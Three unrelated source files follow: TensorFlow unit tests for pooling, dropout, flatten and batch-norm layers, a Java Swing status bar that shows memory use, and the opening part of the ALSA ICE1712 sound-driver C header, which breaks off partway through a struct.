self.assertEquals(len(variables.get_variables('FC/BatchNorm')), 3) self.assertEquals(len(variables.get_variables('FC_1/BatchNorm')), 3) def testReuseFCWithBatchNorm(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height * width * 3), seed=1) with scopes.arg_scope([ops.fc], batch_norm_params={'decay': 0.9}): net = ops.fc(images, 27, scope='fc1') net = ops.fc(net, 27, scope='fc1', reuse=True) self.assertEquals(len(variables.get_variables()), 4) self.assertEquals(len(variables.get_variables('fc1/BatchNorm')), 3) class MaxPoolTest(tf.test.TestCase): def testCreateMaxPool(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.max_pool(images, [3, 3]) self.assertEquals(output.op.name, 'MaxPool/MaxPool') self.assertListEqual(output.get_shape().as_list(), [5, 1, 1, 3]) def testCreateSquareMaxPool(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.max_pool(images, 3) self.assertEquals(output.op.name, 'MaxPool/MaxPool') self.assertListEqual(output.get_shape().as_list(), [5, 1, 1, 3]) def testCreateMaxPoolWithScope(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.max_pool(images, [3, 3], scope='pool1') self.assertEquals(output.op.name, 'pool1/MaxPool') def testCreateMaxPoolSAME(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.max_pool(images, [3, 3], padding='SAME') self.assertListEqual(output.get_shape().as_list(), [5, 2, 2, 3]) def testCreateMaxPoolStrideSAME(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.max_pool(images, [3, 3], stride=1, padding='SAME') self.assertListEqual(output.get_shape().as_list(), [5, height, width, 3]) def testGlobalMaxPool(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.max_pool(images, images.get_shape()[1:3], stride=1) self.assertListEqual(output.get_shape().as_list(), [5, 1, 1, 3]) class AvgPoolTest(tf.test.TestCase): def testCreateAvgPool(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.avg_pool(images, [3, 3]) self.assertEquals(output.op.name, 'AvgPool/AvgPool') self.assertListEqual(output.get_shape().as_list(), [5, 1, 1, 3]) def testCreateSquareAvgPool(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.avg_pool(images, 3) self.assertEquals(output.op.name, 'AvgPool/AvgPool') self.assertListEqual(output.get_shape().as_list(), [5, 1, 1, 3]) def testCreateAvgPoolWithScope(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.avg_pool(images, [3, 3], scope='pool1') self.assertEquals(output.op.name, 'pool1/AvgPool') def testCreateAvgPoolSAME(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.avg_pool(images, [3, 3], padding='SAME') self.assertListEqual(output.get_shape().as_list(), [5, 2, 2, 3]) def testCreateAvgPoolStrideSAME(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.avg_pool(images, [3, 3], stride=1, padding='SAME') self.assertListEqual(output.get_shape().as_list(), [5, height, width, 3]) def testGlobalAvgPool(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.avg_pool(images, images.get_shape()[1:3], stride=1) self.assertListEqual(output.get_shape().as_list(), [5, 1, 1, 3]) class OneHotEncodingTest(tf.test.TestCase): def testOneHotEncodingCreate(self): with self.test_session(): labels = tf.constant([0, 1, 2]) output = ops.one_hot_encoding(labels, num_classes=3) self.assertEquals(output.op.name, 'OneHotEncoding/SparseToDense') self.assertListEqual(output.get_shape().as_list(), [3, 3]) def testOneHotEncoding(self): with self.test_session(): labels = tf.constant([0, 1, 2]) one_hot_labels = tf.constant([[1, 0, 0], [0, 1, 0], [0, 0, 1]]) output = ops.one_hot_encoding(labels, num_classes=3) self.assertAllClose(output.eval(), one_hot_labels.eval()) class DropoutTest(tf.test.TestCase): def testCreateDropout(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.dropout(images) self.assertEquals(output.op.name, 'Dropout/dropout/mul') output.get_shape().assert_is_compatible_with(images.get_shape()) def testCreateDropoutNoTraining(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1, name='images') output = ops.dropout(images, is_training=False) self.assertEquals(output, images) class FlattenTest(tf.test.TestCase): def testFlatten4D(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1, name='images') output = ops.flatten(images) self.assertEquals(output.get_shape().num_elements(), images.get_shape().num_elements()) self.assertEqual(output.get_shape()[0], images.get_shape()[0]) def testFlatten3D(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width), seed=1, name='images') output = ops.flatten(images) self.assertEquals(output.get_shape().num_elements(), images.get_shape().num_elements()) self.assertEqual(output.get_shape()[0], images.get_shape()[0]) def testFlattenBatchSize(self): height, width = 3, 3 with self.test_session() as sess: images = tf.random_uniform((5, height, width, 3), seed=1, name='images') inputs = tf.placeholder(tf.int32, (None, height, width, 3)) output = ops.flatten(inputs) self.assertEquals(output.get_shape().as_list(), [None, height * width * 3]) output = sess.run(output, {inputs: images.eval()}) self.assertEquals(output.size, images.get_shape().num_elements()) self.assertEqual(output.shape[0], images.get_shape()[0]) class BatchNormTest(tf.test.TestCase): def testCreateOp(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.batch_norm(images) self.assertTrue(output.op.name.startswith('BatchNorm/batchnorm')) self.assertListEqual(output.get_shape().as_list(), [5, height, width, 3]) def testCreateVariables(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) ops.batch_norm(images) beta = variables.get_variables_by_name('beta')[0] self.assertEquals(beta.op.name, 'BatchNorm/beta') gamma = variables.get_variables_by_name('gamma') self.assertEquals(gamma, []) moving_mean = tf.moving_average_variables()[0] moving_variance = tf.moving_average_variables()[1] self.assertEquals(moving_mean.op.name, 'BatchNorm/moving_mean') self.assertEquals(moving_variance.op.name, 'BatchNorm/moving_variance') def testCreateVariablesWithScale(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) ops.batch_norm(images, scale=True) beta = variables.get_variables_by_name('beta')[0] gamma = variables.get_variables_by_name('gamma')[0] self.assertEquals(beta.op.name, 'BatchNorm/beta') self.assertEquals(gamma.op.name, 'BatchNorm/gamma') moving_mean = tf.moving_average_variables()[0] moving_variance = tf.moving_average_variables()[1] self.assertEquals(moving_mean.op.name, 'BatchNorm/moving_mean') self.assertEquals(moving_variance.op.name, 'BatchNorm/moving_variance') def testCreateVariablesWithoutCenterWithScale(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) ops.batch_norm(images, center=False, scale=True) beta = variables.get_variables_by_name('beta') self.assertEquals(beta, []) gamma = variables.get_variables_by_name('gamma')[0] self.assertEquals(gamma.op.name, 'BatchNorm/gamma') moving_mean = tf.moving_average_variables()[0] moving_variance = tf.moving_average_variables()[1] self.assertEquals(moving_mean.op.name, 'BatchNorm/moving_mean') self.assertEquals(moving_variance.op.name, 'BatchNorm/moving_variance') def testCreateVariablesWithoutCenterWithoutScale(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) ops.batch_norm(images, center=False, scale=False) beta = variables.get_variables_by_name('beta') self.assertEquals(beta, []) gamma = variables.get_variables_by_name('gamma') self.assertEquals(gamma, []) moving_mean = tf.moving_average_variables()[0] moving_variance = tf.moving_average_variables()[1] self.assertEquals(moving_mean.op.name, 'BatchNorm/moving_mean') self.assertEquals(moving_variance.op.name, 'BatchNorm/moving_variance') def testMovingAverageVariables(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) ops.batch_norm(images, scale=True) moving_mean = tf.moving_average_variables()[0] moving_variance = tf.moving_average_variables()[1] self.assertEquals(moving_mean.op.name, 'BatchNorm/moving_mean') self.assertEquals(moving_variance.op.name, 'BatchNorm/moving_variance') def testUpdateOps(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) ops.batch_norm(images) update_ops = tf.get_collection(ops.UPDATE_OPS_COLLECTION) update_moving_mean = update_ops[0] update_moving_variance = update_ops[1] self.assertEquals(update_moving_mean.op.name, 'BatchNorm/AssignMovingAvg') self.assertEquals(update_moving_variance.op.name, 'BatchNorm/AssignMovingAvg_1') def testReuseVariables(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) ops.batch_norm(images, scale=True, scope='bn') ops.batch_norm(images, scale=True, scope='bn', reuse=True) beta = variables.get_variables_by_name('beta') gamma = variables.get_variables_by_name('gamma') self.assertEquals(len(beta), 1) self.assertEquals(len(gamma), 1) moving_vars = tf.get_collection('moving_vars') self.assertEquals(len(moving_vars), 2) def testReuseUpdateOps(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) ops.batch_norm(images, scope='bn') self.assertEquals(len(tf.get_collection(ops.UPDATE_OPS_COLLECTION)), 2) ops.batch_norm(images, scope='bn', reuse=True) self.assertEquals(len(tf.get_collection(ops.UPDATE_OPS_COLLECTION)), 4) def testCreateMovingVars(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) _ = ops.batch_norm(images, moving_vars='moving_vars') moving_mean = tf.get_collection('moving_vars', 'BatchNorm/moving_mean') self.assertEquals(len(moving_mean), 1) self.assertEquals(moving_mean[0].op.name, 'BatchNorm/moving_mean') moving_variance = tf.get_collection('moving_vars', 'BatchNorm/moving_variance') self.assertEquals(len(moving_variance), 1) self.assertEquals(moving_variance[0].op.name, 'BatchNorm/moving_variance') def testComputeMovingVars(self): height, width = 3, 3 with self.test_session() as sess: image_shape = (10, height, width, 3) image_values = np.random.rand(*image_shape) expected_mean = np.mean(image_values, axis=(0, 1, 2)) expected_var = np.var(image_values, axis=(0, 1, 2)) images = tf.constant(image_values, shape=image_shape, dtype=tf.float32) output = ops.batch_norm(images, decay=0.1) update_ops = tf.get_collection(ops.UPDATE_OPS_COLLECTION) with tf.control_dependencies(update_ops): output = tf.identity(output) # Initialize all variables sess.run(tf.global_variables_initializer()) moving_mean = variables.get_variables('BatchNorm/moving_mean')[0] moving_variance = variables.get_variables('BatchNorm/moving_variance')[0] mean, variance = sess.run([moving_mean, moving_variance]) # After initialization moving_mean == 0 and moving_variance == 1. self.assertAllClose(mean, [0] * 3) self.assertAllClose(variance, [1] * 3) for _ in range(10): sess.run([output]) mean = moving_mean.eval() variance = moving_variance.eval() # After 10 updates with decay 0.1 moving_mean == expected_mean and # moving_variance == expected_var. self.assertAllClose(mean, expected_mean) self.assertAllClose(variance, expected_var) def testEvalMovingVars(self): height, width = 3, 3 with self.test_session() as sess: image_shape = (10, height, width, 3) image_values = np.random.rand(*image_shape) expected_mean = np.mean(image_values, axis=(0, 1, 2)) expected_var = np.var(image_values, axis=(0, 1, 2)) images = tf.constant(image_values, shape=image_shape, dtype=tf.float32) output = ops.batch_norm(images, decay=0.1, is_training=False) update_ops = tf.get_collection(ops.UPDATE_OPS_COLLECTION) with tf.control_dependencies(update_ops): output = tf.identity(output) # Initialize all variables sess.run(tf.global_variables_initializer()) moving_mean = variables.get_variables('BatchNorm/moving_mean')[0] moving_variance = variables.get_variables('BatchNorm/moving_variance')[0] mean, variance = sess.run([moving_mean, moving_variance]) # After initialization moving_mean == 0 and moving_variance == 1. self.assertAllClose(mean, [0] * 3) self.assertAllClose(variance, [1] * 3) # Simulate assigment from saver restore. init_assigns = [tf.assign(moving_mean, expected_mean), tf.assign(moving_variance, expected_var)] sess.run(init_assigns) for _ in range(10): sess.run([output], {images: np.random.rand(*image_shape)}) mean = moving_mean.eval() variance = moving_variance.eval() # Although we feed different images, the moving_mean and moving_variance # shouldn't change. self.assertAllClose(mean, expected_mean) self.assertAllClose(variance, expected_var) def testReuseVars(self): height, width = 3, 3 with self.test_session() as sess: image_shape = (10, height, width, 3) image_values = np.random.rand(*image_shape) expected_mean = np.mean(image_values, axis=(0, 1, 2)) expected_var = np.var(image_values, axis=(0, 1, 2)) images = tf.constant(image_values, shape=image_shape, dtype=tf.float32) output = ops.batch_norm(images, decay=0.1, is_training=False) update_ops = tf.get_collection(ops.UPDATE_OPS_COLLECTION) with tf.control_dependencies(update_ops): output = tf.identity(output) # Initialize all variables sess.run(tf.global_variables_initializer()) moving_mean = variables.get_variables('BatchNorm/moving_mean')[0] moving_variance = variables.get_variables('BatchNorm/moving_variance')[0] mean, variance = sess.run([moving_mean, moving_variance]) # After initialization moving_mean == 0 and moving_variance == 1. self.assertAllClose(mean, [0] * 3) self.assertAllClose(variance, [1] * 3) # Simulate assigment from saver restore. init_assigns = [tf.assign(moving_mean, expected_mean), tf.assign(moving_variance, expected_var)] sess.run(init_assigns) for _ in range(10): sess.run([output], {images: np.random.rand(*image_shape)}) mean = moving_mean.eval() variance = moving_variance.eval() # Although we feed different images, the moving_mean and moving_variance # shouldn't change. self.assertAllClose(mean, expected_mean) self.assertAllClose(variance, expected_var) if __name__ == '__main__': tf.test.main()
{ "pile_set_name": "Github" }
package org.xhtmlrenderer.demo.browser; import java.awt.BorderLayout; import java.awt.Insets; import javax.swing.JLabel; import javax.swing.JPanel; import javax.swing.SwingUtilities; public class BrowserStatus extends JPanel { private static final long serialVersionUID = 1L; public JLabel text, memory; public void init() { createComponents(); createLayout(); createEvents(); } public void createComponents() { text = new JLabel("Status"); memory = new JLabel("? MB / ? MB"); } public void createLayout() { setLayout(new BorderLayout(5, 5)); add("Center", text); add("East", memory); } public Insets getInsets() { return new Insets(3, 4, 3, 4); } public void createEvents() { new Thread(new Runnable() { public void run() { while (true) { try { Runtime rt = Runtime.getRuntime(); long used = rt.totalMemory() - rt.freeMemory(); long total = rt.totalMemory(); used = used / (1024 * 1024); total = total / (1024 * 1024); final String text = used + "M / " + total + "M"; SwingUtilities.invokeLater(new Runnable() { public void run() { memory.setText(text); } }); Thread.sleep(5000); } catch (InterruptedException e) { break; } } } }).start(); } }
{ "pile_set_name": "Github" }
#ifndef __SOUND_ICE1712_H #define __SOUND_ICE1712_H /* * ALSA driver for ICEnsemble ICE1712 (Envy24) * * Copyright (c) 2000 Jaroslav Kysela <perex@perex.cz> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #include <sound/control.h> #include <sound/ac97_codec.h> #include <sound/rawmidi.h> #include <sound/i2c.h> #include <sound/ak4xxx-adda.h> #include <sound/ak4114.h> #include <sound/pt2258.h> #include <sound/pcm.h> #include <sound/mpu401.h> /* * Direct registers */ #define ICEREG(ice, x) ((ice)->port + ICE1712_REG_##x) #define ICE1712_REG_CONTROL 0x00 /* byte */ #define ICE1712_RESET 0x80 /* reset whole chip */ #define ICE1712_SERR_LEVEL 0x04 /* SERR# level otherwise edge */ #define ICE1712_NATIVE 0x01 /* native mode otherwise SB */ #define ICE1712_REG_IRQMASK 0x01 /* byte */ #define ICE1712_IRQ_MPU1 0x80 #define ICE1712_IRQ_TIMER 0x40 #define ICE1712_IRQ_MPU2 0x20 #define ICE1712_IRQ_PROPCM 0x10 #define ICE1712_IRQ_FM 0x08 /* FM/MIDI - legacy */ #define ICE1712_IRQ_PBKDS 0x04 /* playback DS channels */ #define ICE1712_IRQ_CONCAP 0x02 /* consumer capture */ #define ICE1712_IRQ_CONPBK 0x01 /* consumer playback */ #define ICE1712_REG_IRQSTAT 0x02 /* byte */ /* look to ICE1712_IRQ_* */ #define ICE1712_REG_INDEX 0x03 /* byte - indirect CCIxx regs */ #define ICE1712_REG_DATA 0x04 /* byte - indirect CCIxx regs */ #define ICE1712_REG_NMI_STAT1 0x05 /* byte */ #define ICE1712_REG_NMI_DATA 0x06 /* byte */ #define ICE1712_REG_NMI_INDEX 0x07 /* byte */ #define ICE1712_REG_AC97_INDEX 0x08 /* byte */ #define ICE1712_REG_AC97_CMD 0x09 /* byte */ #define ICE1712_AC97_COLD 0x80 /* cold reset */ #define ICE1712_AC97_WARM 0x40 /* warm reset */ #define ICE1712_AC97_WRITE 0x20 /* W: write, R: write in progress */ #define ICE1712_AC97_READ 0x10 /* W: read, R: read in progress */ #define ICE1712_AC97_READY 0x08 /* codec ready status bit */ #define ICE1712_AC97_PBK_VSR 0x02 /* playback VSR */ #define ICE1712_AC97_CAP_VSR 0x01 /* capture VSR */ #define ICE1712_REG_AC97_DATA 0x0a /* word (little endian) */ #define ICE1712_REG_MPU1_CTRL 0x0c /* byte */ #define ICE1712_REG_MPU1_DATA 0x0d /* byte */ #define ICE1712_REG_I2C_DEV_ADDR 0x10 /* byte */ #define ICE1712_I2C_WRITE 0x01 /* write direction */ #define ICE1712_REG_I2C_BYTE_ADDR 0x11 /* byte */ #define ICE1712_REG_I2C_DATA 0x12 /* byte */ #define ICE1712_REG_I2C_CTRL 0x13 /* byte */ #define ICE1712_I2C_EEPROM 0x80 /* EEPROM exists */ #define ICE1712_I2C_BUSY 0x01 /* busy bit */ #define ICE1712_REG_CONCAP_ADDR 0x14 /* dword - consumer capture */ #define ICE1712_REG_CONCAP_COUNT 0x18 /* word - current/base count */ #define ICE1712_REG_SERR_SHADOW 0x1b /* byte */ #define ICE1712_REG_MPU2_CTRL 0x1c /* byte */ #define ICE1712_REG_MPU2_DATA 0x1d /* byte */ #define ICE1712_REG_TIMER 0x1e /* word */ /* * Indirect registers */ #define ICE1712_IREG_PBK_COUNT_LO 0x00 #define ICE1712_IREG_PBK_COUNT_HI 0x01 #define ICE1712_IREG_PBK_CTRL 0x02 #define ICE1712_IREG_PBK_LEFT 0x03 /* left volume */ #define ICE1712_IREG_PBK_RIGHT 0x04 /* right volume */ #define ICE1712_IREG_PBK_SOFT 0x05 /* soft volume */ #define ICE1712_IREG_PBK_RATE_LO 0x06 #define ICE1712_IREG_PBK_RATE_MID 0x07 #define ICE1712_IREG_PBK_RATE_HI 0x08 #define ICE1712_IREG_CAP_COUNT_LO 0x10 #define ICE1712_IREG_CAP_COUNT_HI 0x11 #define ICE1712_IREG_CAP_CTRL 0x12 #define ICE1712_IREG_GPIO_DATA 0x20 #define ICE1712_IREG_GPIO_WRITE_MASK 0x21 #define ICE1712_IREG_GPIO_DIRECTION 0x22 #define ICE1712_IREG_CONSUMER_POWERDOWN 0x30 #define ICE1712_IREG_PRO_POWERDOWN 0x31 /* * Consumer section direct DMA registers */ #define ICEDS(ice, x) ((ice)->dmapath_port + ICE1712_DS_##x) #define ICE1712_DS_INTMASK 0x00 /* word - interrupt mask */ #define ICE1712_DS_INTSTAT 0x02 /* word - interrupt status */ #define ICE1712_DS_DATA 0x04 /* dword - channel data */ #define ICE1712_DS_INDEX 0x08 /* dword - channel index */ /* * Consumer section channel registers */ #define ICE1712_DSC_ADDR0 0x00 /* dword - base address 0 */ #define ICE1712_DSC_COUNT0 0x01 /* word - count 0 */ #define ICE1712_DSC_ADDR1 0x02 /* dword - base address 1 */ #define ICE1712_DSC_COUNT1 0x03 /* word - count 1 */ #define ICE1712_DSC_CONTROL 0x04 /* byte - control & status */ #define ICE1712_BUFFER1 0x80 /* buffer1 is active */ #define ICE1712_BUFFER1_AUTO 0x40 /* buffer1 auto init */ #define ICE1712_BUFFER0_AUTO 0x20 /* buffer0 auto init */ #define ICE1712_FLUSH 0x10 /* flush FIFO */ #define ICE1712_STEREO 0x08 /* stereo */ #define ICE1712_16BIT 0x04 /* 16-bit data */ #define ICE1712_PAUSE 0x02 /* pause */ #define ICE1712_START 0x01 /* start */ #define ICE1712_DSC_RATE 0x05 /* dword - rate */ #define ICE1712_DSC_VOLUME 0x06 /* word - volume control */ /* * Professional multi-track direct control registers */ #define ICEMT(ice, x) ((ice)->profi_port + ICE1712_MT_##x) #define ICE1712_MT_IRQ 0x00 /* byte - interrupt mask */ #define ICE1712_MULTI_CAPTURE 0x80 /* capture IRQ */ #define ICE1712_MULTI_PLAYBACK 0x40 /* playback IRQ */ #define ICE1712_MULTI_CAPSTATUS 0x02 /* capture IRQ status */ #define ICE1712_MULTI_PBKSTATUS 0x01 /* playback IRQ status */ #define ICE1712_MT_RATE 0x01 /* byte - sampling rate select */ #define ICE1712_SPDIF_MASTER 0x10 /* S/PDIF input is master clock */ #define ICE1712_MT_I2S_FORMAT 0x02 /* byte - I2S data format */ #define ICE1712_MT_AC97_INDEX 0x04 /* byte - AC'97 index */ #define ICE1712_MT_AC97_CMD 0x05 /* byte - AC'97 command & status */ /* look to ICE1712_AC97_* */ #define ICE1712_MT_AC97_DATA 0x06 /* word - AC'97 data */ #define ICE1712_MT_PLAYBACK_ADDR 0x10 /* dword - playback address */ #define ICE1712_MT_PLAYBACK_SIZE 0x14 /* word - playback size */ #define ICE1712_MT_PLAYBACK_COUNT 0x16 /* word - playback count */ #define ICE1712_MT_PLAYBACK_CONTROL 0x18 /* byte - control */ #define ICE1712_CAPTURE_START_SHADOW 0x04 /* capture start */ #define ICE1712_PLAYBACK_PAUSE 0x02 /* playback pause */ #define ICE1712_PLAYBACK_START 0x01 /* playback start */ #define ICE1712_MT_CAPTURE_ADDR 0x20 /* dword - capture address */ #define ICE1712_MT_CAPTURE_SIZE 0x24 /* word - capture size */ #define ICE1712_MT_CAPTURE_COUNT 0x26 /* word - capture count */ #define ICE1712_MT_CAPTURE_CONTROL 0x28 /* byte - control */ #define ICE1712_CAPTURE_START 0x01 /* capture start */ #define ICE1712_MT_ROUTE_PSDOUT03 0x30 /* word */ #define ICE1712_MT_ROUTE_SPDOUT 0x32 /* word */ #define ICE1712_MT_ROUTE_CAPTURE 0x34 /* dword */ #define ICE1712_MT_MONITOR_VOLUME 0x38 /* word */ #define ICE1712_MT_MONITOR_INDEX 0x3a /* byte */ #define ICE1712_MT_MONITOR_RATE 0x3b /* byte */ #define ICE1712_MT_MONITOR_ROUTECTRL 0x3c /* byte */ #define ICE1712_ROUTE_AC97 0x01 /* route digital mixer output to AC'97 */ #define ICE1712_MT_MONITOR_PEAKINDEX 0x3e /* byte */ #define ICE1712_MT_MONITOR_PEAKDATA 0x3f /* byte */ /* * Codec configuration bits */ /* PCI[60] System Configuration */ #define ICE1712_CFG_CLOCK 0xc0 #define ICE1712_CFG_CLOCK512 0x00 /* 22.5692Mhz, 44.1kHz*512 */ #define ICE1712_CFG_CLOCK384 0x40 /* 16.9344Mhz, 44.1kHz*384 */ #define ICE1712_CFG_EXT 0x80 /* external clock */ #define ICE1712_CFG_2xMPU401 0x20 /* two MPU401 UARTs */ #define ICE1712_CFG_NO_CON_AC97 0x10 /* consumer AC'97 codec is not present */ #define ICE1712_CFG_ADC_MASK 0x0c /* one, two, three, four stereo ADCs */ #define ICE1712_CFG_DAC_MASK 0x03 /* one, two, three, four stereo DACs */ /* PCI[61] AC-Link Configuration */ #define ICE1712_CFG_PRO_I2S 0x80 /* multitrack converter: I2S or AC'97 */ #define ICE1712_CFG_AC97_PACKED 0x01 /* split or packed mode - AC'97 */ /* PCI[62] I2S Features */ #define ICE1712_CFG_I2S_VOLUME 0x80 /* volume/mute capability */ #define ICE1712_CFG_I2S_96KHZ 0x40 /* supports 96kHz sampling */ #define ICE1712_CFG_I2S_RESMASK 0x30 /* resolution mask, 16,18,20,24-bit */ #define ICE1712_CFG_I2S_OTHER 0x0f /* other I2S IDs */ /* PCI[63] S/PDIF Configuration */ #define ICE1712_CFG_I2S_CHIPID 0xfc /* I2S chip ID */ #define ICE1712_CFG_SPDIF_IN 0x02 /* S/PDIF input is present */ #define ICE1712_CFG_SPDIF_OUT 0x01 /* S/PDIF output is present */ /* * DMA mode values * identical with DMA_XXX on i386 architecture. */ #define ICE1712_DMA_MODE_WRITE 0x48 #define ICE1712_DMA_AUTOINIT 0x10 /* * */ struct snd_ice1712; struct snd_ice1712_eeprom { unsigned int subvendor; /* PCI[2c-2f] */ unsigned char size; /* size of EEPROM image in bytes */ unsigned char version; /* must be 1 (or 2 for vt1724) */ unsigned char data[32]; unsigned int gpiomask; unsigned int gpiostate; unsigned int gpiodir; }; enum { ICE_EEP1_CODEC = 0, /* 06 */ ICE_EEP1_ACLINK, /* 07 */ ICE_EEP1_I2SID, /* 08 */ ICE_EEP1_SPDIF, /* 09 */ ICE_EEP1_GPIO_MASK, /* 0a */ ICE_EEP1_GPIO_STATE, /* 0b */ ICE_EEP1_GPIO_DIR, /* 0c */ ICE_EEP1_AC97_MAIN_LO, /* 0d */ ICE_EEP1_AC97_MAIN_HI, /* 0e */ ICE_EEP1_AC97_PCM_LO, /* 0f */ ICE_EEP1_AC97_PCM_HI, /* 10 */ ICE_EEP1_AC97_REC_LO, /* 11 */ ICE_EEP1_AC97_REC_HI, /* 12 */ ICE_EEP1_AC97_RECSRC, /* 13 */ ICE_EEP1_DAC_ID, /* 14 */ ICE_EEP1_DAC_ID1, ICE_EEP1_DAC_ID2, ICE_EEP1_DAC_ID3, ICE_EEP1_ADC_ID, /* 18 */ ICE_EEP1_ADC_ID1, ICE_EEP1_ADC_ID2, ICE_EEP1_ADC_ID3 }; #define ice_has_con_ac97(ice) (!((ice)->eeprom.data[ICE_EEP1_CODEC] & ICE1712_CFG_NO_CON_AC97)) struct snd_ak4xxx_private { unsigned int cif:1; /* CIF mode */ unsigned char caddr; /* C0 and C1 bits */ unsigned int data_mask; /* DATA gpio bit */ unsigned int clk_mask; /* CLK gpio bit */ unsigned int cs_mask; /* bit mask for select/deselect address */ unsigned int cs_addr; /* bits to select address */ unsigned int cs_none; /* bits to deselect address */ unsigned int add_flags; /* additional bits at init */ unsigned int mask_flags; /* total mask bits */ struct snd_akm4xxx_ops { void (*set_rate_val)(struct snd_akm4xxx *ak, unsigned int rate); } ops; }; struct snd_ice1712_spdif { unsigned char cs8403_bits; unsigned char cs8403_stream_bits; struct snd_kcontrol *stream_ctl; struct snd_ice1712_spdif_ops { void (*open)(struct snd_ice1712 *, struct snd_pcm_substream *); void (*setup_rate)(struct snd_ice1712 *, int rate); void (*close)(struct snd_ice1712 *, struct snd_pcm_substream *); void (*default_get)(struct snd_ice1712 *, struct snd_ctl_elem_value *ucontrol); int (*default_put)(struct snd_ice1712 *, struct snd_ctl_elem_value *ucontrol); void (*stream_get)(struct snd_ice1712 *, struct snd_ctl_elem_value *ucontrol); int (*stream_put)(struct snd_ice1712 *, struct snd_ctl_elem_value *ucontrol); } ops; }; struct snd_ice1712 { unsigned long conp_dma_size; unsigned long conc_dma_size; unsigned long prop_dma_size; unsigned long proc_dma_size; int irq; unsigned long port; unsigned long ddma_port; unsigned long dmapath_port; unsigned long profi_port; struct pci_dev *pci; struct snd_card *card; struct snd_pcm *pcm; struct snd_pcm *pcm_ds; struct snd_pcm *pcm_pro; struct snd_pcm_substream *playback_con_substream; struct snd_pcm_substream *playback_con_substream_ds[6]; struct snd_pcm_substream *capture_con_substream; struct snd_pcm_substream *playback_pro_substream; struct snd_pcm_substream *capture_pro_substream; unsigned int playback_pro_size; unsigned int capture_pro_size; unsigned int playback_con_virt_addr[6]; unsigned int playback_con_active_buf[6]; unsigned int capture_con_virt_addr; unsigned int ac97_ext_id; struct snd_ac97 *ac97; struct snd_rawmidi *rmidi[2]; spinlock_t reg_lock; struct snd_info_entry *proc_entry; struct snd_ice1712_eeprom eeprom; unsigned int pro_volumes[20]; unsigned int omni:1; /* Delta Omni I/O */ unsigned int dxr_enable:1; /* Terratec DXR enable for DMX6FIRE */ unsigned int vt1724:1; unsigned int vt1720:1; unsigned int has_spdif:1; /* VT1720/4 - has SPDIF I/O */ unsigned int force_pdma4:1; /* VT1720/4 - PDMA4 as non-spdif */ unsigned int force_rdma1:1; /* VT1720/4 - RDMA1 as non-spdif */ unsigned int midi_output:1; /* VT1720/4: MIDI output triggered */ unsigned int midi_input:1; /* VT1720/4: MIDI input triggered */ unsigned int own_routing:1; /* VT1720/4: use own routing ctls */ unsigned int num_total_dacs; /* total DACs */ unsigned int num_total_adcs; /* total ADCs */ unsigned int cur_rate; /* current rate */ struct mutex open_mutex; struct snd_pcm_substream *pcm_reserved[4]; struct snd_pcm_hw_constraint_list *hw_rates; /* card-specific rate constraints */ unsigned int akm_codecs; struct snd_akm4xxx *akm; struct snd_ice1712_spdif spdif; struct mutex i2c_mutex; /* I2C mutex for ICE1724 registers */ struct snd_i2c_bus *i2c; /* I2C bus */ struct snd_i2c_device *cs8427; /* CS8427 I2C device */ unsigned int cs8427_timeout; /* CS8427 reset timeout in HZ/100 */ struct ice1712_gpio { unsigned int direction; /* current direction bits */ unsigned int write_mask; /* current mask bits */ unsigned int saved[2]; /* for ewx_i2c */ /* operators */ void (*set_mask)(struct snd_ice1712 *ice, unsigned int data); unsigned int (*get_mask)(struct snd_ice1712 *ice); void (*set_dir)(struct snd_ice1712 *ice, unsigned int data); unsigned int (*get_dir)(struct snd_ice1712 *ice); void (*set_data)(struct snd_ice1712 *ice, unsigned int data); unsigned int (*get_data)(struct snd_ice1712 *ice); /* misc operators - move to another place? */ void (*set_pro_rate)(struct snd_ice1712 *ice, unsigned int rate); void 